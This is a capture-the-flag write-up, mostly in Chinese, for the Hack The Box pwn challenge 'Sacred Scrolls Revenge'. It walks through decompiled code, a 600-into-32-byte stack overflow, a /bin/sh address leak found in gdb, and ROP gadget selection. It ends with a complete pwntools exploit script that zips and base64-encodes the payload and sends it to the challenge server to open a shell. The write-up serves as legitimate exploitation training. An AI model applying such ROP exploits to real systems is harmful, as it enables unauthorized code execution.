Description
Each house of the campus has its own secret library to store spells or spellbound messages so the others cannot see them. Messages are encrypted and must be signed by the boy who lived, turning them into sacred scrolls, otherwise they are not accepted in this library. You can try it yourself as long as you are a wizard of this house.
Checksec
1
2
3
4
5
6
7
| [*] '/home/err0rpro/CTFLab/Hackthebox/SacredScrollsRevenge/sacred_scrolls'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
|
Analysis
丟到 IDA 分析程式碼
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
| int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
void *v3; // rsp
__int64 command; // rax
__int64 *file_input; // rax
__int64 v6; // rcx
__int64 v7; // rcx
__int64 v8; // rcx
__int64 v9; // rcx
__int64 v10; // rcx
__int64 v11; // rcx
__int64 v12; // rcx
__int64 v13; // rcx
__int64 v14; // rcx
__int64 v15; // rcx
__int64 v16; // rcx
__int64 v17; // rcx
__int64 wizard_tag[25]; // [rsp+0h] [rbp-100h] BYREF
void *buf; // [rsp+C8h] [rbp-38h]
__int64 v20; // [rsp+D0h] [rbp-30h]
int v21; // [rsp+DCh] [rbp-24h]
setup(argc, argv, envp);
banner();
clean();
printf("\nEnter your wizard tag: ");
v21 = 1536;
v20 = 1535LL;
v3 = alloca(1536LL);
buf = wizard_tag;
read(0, wizard_tag, 1535uLL);
printf("\nInteract with magic library %s", (const char *)buf);
memset(wizard_tag, 0, sizeof(wizard_tag));
while ( 1 )
{
while ( 1 )
{
command = menu();
if ( command != 2 )
break;
file_input = (__int64 *)spell_read();
v6 = file_input[1];
wizard_tag[0] = *file_input;
wizard_tag[1] = v6;
v7 = file_input[3];
wizard_tag[2] = file_input[2];
wizard_tag[3] = v7;
v8 = file_input[5];
wizard_tag[4] = file_input[4];
wizard_tag[5] = v8;
v9 = file_input[7];
wizard_tag[6] = file_input[6];
wizard_tag[7] = v9;
v10 = file_input[9];
wizard_tag[8] = file_input[8];
wizard_tag[9] = v10;
v11 = file_input[11];
wizard_tag[10] = file_input[10];
wizard_tag[11] = v11;
v12 = file_input[13];
wizard_tag[12] = file_input[12];
wizard_tag[13] = v12;
v13 = file_input[15];
wizard_tag[14] = file_input[14];
wizard_tag[15] = v13;
v14 = file_input[17];
wizard_tag[16] = file_input[16];
wizard_tag[17] = v14;
v15 = file_input[19];
wizard_tag[18] = file_input[18];
wizard_tag[19] = v15;
v16 = file_input[21];
wizard_tag[20] = file_input[20];
wizard_tag[21] = v16;
v17 = file_input[23];
wizard_tag[22] = file_input[22];
wizard_tag[23] = v17;
wizard_tag[24] = file_input[24];
printf(asc_401F80, wizard_tag);
}
if ( command == 3 )
{
spell_save(wizard_tag);
exit(22);
}
if ( command == 1 )
spell_upload();
}
}
|
輸出介面,要使用者輸入一個 wizard tag,之後跳出幾個選項:
- Upload
- read
- Cast
- Leave
而由於 read() 後面不會補 '\0'
,printf 可能會印出垃圾。
upload()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| int spell_upload()
{
char dest[4096]; // [rsp+0h] [rbp-1220h] BYREF
char user_input[520]; // [rsp+1000h] [rbp-220h] BYREF
int fd[2]; // [rsp+1208h] [rbp-18h]
unsigned __int64 len; // [rsp+1210h] [rbp-10h]
unsigned __int64 i; // [rsp+1218h] [rbp-8h]
memset(user_input, 0, 512uLL);
memset(dest, 0, sizeof(dest));
printf("\n[*] Enter file (it will be named spell.zip): ");
len = read(0, user_input, 511uLL);
user_input[len - 1] = '\0';
for ( i = 0LL; i < len; ++i )
{
if ( (user_input[i] <= '`' || user_input[i] > 'z') // a-z
&& (user_input[i] <= '@' || user_input[i] > 'Z') // A-Z
&& (user_input[i] <= '/' || user_input[i] > '9') // 0-9
&& user_input[i] != '.'
&& user_input[i]
&& user_input[i] != '+'
&& user_input[i] != '=' )
{
printf("\n%s[-] File contains invalid charcter: [%c]\n", "\x1B[1;31m", (unsigned int)user_input[i]);
exit(20);
}
}
strcpy(dest, "echo '");
strcat(dest, user_input);
strcat(dest, "' | base64 -d > spell.zip");
system(dest);
*(_QWORD *)fd = fopen("spell.zip", "rb");
if ( !*(_QWORD *)fd )
{
printf("%s\n[-] There is no such file!\n\n", "\x1B[1;31m");
exit(-69);
}
printf("%s\n[+] Spell has been added!\n%s", "\x1B[1;32m", "\x1B[1;34m");
return close(fd[0]);
}
|
程式會檢查輸入是否為合法的 Base64 且不含 /
,並將其解碼後寫到 spell.zip
檔案。
所以待會可能需要準備一個 Base64 的檔案,值得注意的是,這裡呼叫了 system()
(system 函式已被載入到記憶體)
read()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| char *spell_read()
{
FILE *stream; // [rsp+10h] [rbp-10h]
char *ptr; // [rsp+18h] [rbp-8h]
ptr = (char *)malloc(0x190uLL);
system("unzip spell.zip");
stream = fopen("spell.txt", "rb");
if ( !stream )
{
printf("%s\n[-] There is no such file!\n\n", "\x1B[1;31m");
exit(-69);
}
fread(ptr, 0x18FuLL, 1uLL, stream);
if ( strncmp(ptr, &s2, 4uLL) || strncmp(ptr + 4, &byte_401327, 3uLL) )
{
printf("%s\n[-] Your file does not have the signature of the boy who lived!\n\n", "\x1B[1;31m");
exit(1312);
}
close((int)stream);
return ptr;
}
|
將 spell.zip 解壓縮後打開 spell.txt,並檢查前四個 bytes 是否為 \xF0\x9F\x91\x93
且後面接著 \xE2\x9A\xA1
把它們輸出出來看看
1
2
| $ echo -e "\xF0\x9F\x91\x93\xE2\x9A\xA1"
👓⚡
|
save()
1
2
3
4
5
6
7
| int __fastcall spell_save(const void *a1)
{
char dest[32]; // [rsp+10h] [rbp-20h] BYREF
memcpy(dest, a1, 600uLL);
return printf("%s\n[-] This spell is not quiet effective, thus it will not be saved!\n", "\x1B[1;31m");
}
|
這裡很顯然有 bof,只給 32 bytes 結果可以輸入 600 bytes 的內容,追一下 a1 是從哪來的,
可以發現是 wizard_tag。
Exploit
開 gdb 找 libc 的位置
不知道為啥 gdb-peda 不能正常執行,但 gdb-gef 可以…
中斷在輸入 wizard_tag 的地方看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
| Enter your wizard tag: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7d14992 in read () from ./glibc/libc.so.6
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xfffffffffffffe00
$rbx : 0x0
$rcx : 0x00007ffff7d14992 → 0x5677fffff0003d48 ("H="?)
$rdx : 0x5ff
$rsp : 0x00007fffffffd598 → 0x0000000000400f94 → <main+178> mov rax, QWORD PTR [rbp-0x38]
$rbp : 0x00007fffffffdca0 → 0x0000000000000001
$rsi : 0x00007fffffffd5a0 → 0x000000000000001f
$rdi : 0x0
$rip : 0x00007ffff7d14992 → 0x5677fffff0003d48 ("H="?)
$r8 : 0x18
$r9 : 0x7fffffff
$r10 : 0x0000000000401f46 → "\nEnter your wizard tag: "
$r11 : 0x246
$r12 : 0x600
$r13 : 0x0
$r14 : 0x600
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd598│+0x0000: 0x0000000000400f94 → <main+178> mov rax, QWORD PTR [rbp-0x38] ← $rsp
0x00007fffffffd5a0│+0x0008: 0x000000000000001f ← $rsi
0x00007fffffffd5a8│+0x0010: 0x0000000000000000
0x00007fffffffd5b0│+0x0018: 0x00007ffff7dd8698 → 0x0068732f6e69622f ("/bin/sh"?)
0x00007fffffffd5b8│+0x0020: 0x00000000f7ceb0f0
0x00007fffffffd5c0│+0x0028: 0x0000000000000000
0x00007fffffffd5c8│+0x0030: 0x00000000ffffd9f0
0x00007fffffffd5d0│+0x0038: 0x00007fff00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7d1498c <read+12> test eax, eax
0x7ffff7d1498e <read+14> jne 0x7ffff7d149a0 <read+32>
0x7ffff7d14990 <read+16> syscall
→ 0x7ffff7d14992 <read+18> cmp rax, 0xfffffffffffff000
0x7ffff7d14998 <read+24> ja 0x7ffff7d149f0 <read+112>
0x7ffff7d1499a <read+26> ret
0x7ffff7d1499b <read+27> nop DWORD PTR [rax+rax*1+0x0]
0x7ffff7d149a0 <read+32> sub rsp, 0x28
0x7ffff7d149a4 <read+36> mov QWORD PTR [rsp+0x18], rdx
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sacred_scrolls", stopped 0x7ffff7d14992 in read (), reason: SIGINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7d14992 → read()
[#1] 0x400f94 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
此時斷的地方是 read(),根據 Calling Convention,wizard_tag 的位址應放在 $rsi
1
2
3
4
5
6
7
8
9
10
11
12
| gef➤ x/20gx $rsi
0x7fffffffd5a0: 0x000000000000001f 0x0000000000000000
0x7fffffffd5b0: 0x00007ffff7dd8698 0x00000000f7ceb0f0
0x7fffffffd5c0: 0x0000000000000000 0x00000000ffffd9f0
0x7fffffffd5d0: 0x00007fff00000000 0x0000000000000004
0x7fffffffd5e0: 0x00007fff00000000 0x0000000000000000
0x7fffffffd5f0: 0x0000000000000000 0x0000000000000000
0x7fffffffd600: 0x0000000000000000 0x0000000000000000
0x7fffffffd610: 0x0000000000000000 0x0000000000000000
0x7fffffffd620: 0x0000000000000000 0x00007ffff7fce37c
0x7fffffffd630: 0x00007ffff7fbb1f0 0x00007ffff7c04ad0
gef➤
|
其中記憶體位置是 0x7fff 開頭的全都是 libc 相關的位址,看看第一個是什麼
1
2
3
| gef➤ x/s 0x00007ffff7dd8698
0x7ffff7dd8698: "/bin/sh"
gef➤
|
超幸運!第一個就是熟悉的 /bin/sh
,而這個位址在 wizard_tag+16
的地方,
所以只要填 16 bytes 的垃圾就能 leak 出 address。
接著需要準備一個 payload 開始做 ROP
為了通過檢查,前面 7 bytes 必須是 \xf0\x9f\x91\x93\xe2\x9a\xa1
,
位移量則為 32 (陣列宣告長度) + 8(x64 rbp 偏移距離) - 7(已經填好的 bytes),需要填 33 bytes 的垃圾。
再來要蓋掉 return address,目標是 system,步驟是把 pop rdi; ret;
這個 gadget 放進去,rdi 就會拿到後面接著的 “/bin/sh”,
這樣參數就準備好了,然而呼叫 libc 函數在 64 位元下需要做記憶體對齊,否則會噴 segmentation fault,所以再加一個 ret;
給他就好。
利用 ROPgadget
1
| $ ROPgadget --binary ./sacred_scrolls
|
找到需要的 gadget 分別在 0x4011b3 以及 0x4007ce
找 system() 的位址,可以直接用 elf.plt['system']
找
最後就是 get shell,cat flag.txt!
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
#!/usr/bin/env python3
from pwn import *
import os
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'DEBUG'
if args.REMOTE:
ip = '83.136.249.57'
port = 51190
p = remote(ip, port)
else:
p = process('./sacred_scrolls')
elf = ELF('./sacred_scrolls')
p.sendafter(b'tag: ', b'A' * 16)
p.recvuntil(b'A' * 16)
bin_sh_adr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'bin sh adr: {hex(bin_sh_adr)}')
pop_rdi_ret = 0x4011b3
ret = 0x4007ce
system_plt = elf.plt['system']
payload = b'\xf0\x9f\x91\x93\xe2\x9a\xa1'
payload += b'A' * 33
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_adr)
payload += p64(ret)
payload += p64(system_plt)
f = open('spell.txt', 'wb')
f.write(payload)
f.close()
os.system('zip spell.zip spell.txt && cat spell.zip | base64 > payload')
b64_payload = open('payload').read().replace('\n', '')
b64_payload += '='
os.system('rm spell.txt payload')
if '/' in b64_payload:
print('Error payload')
exit()
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'spell.zip): ', b64_payload)
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'3')
p.interactive()
|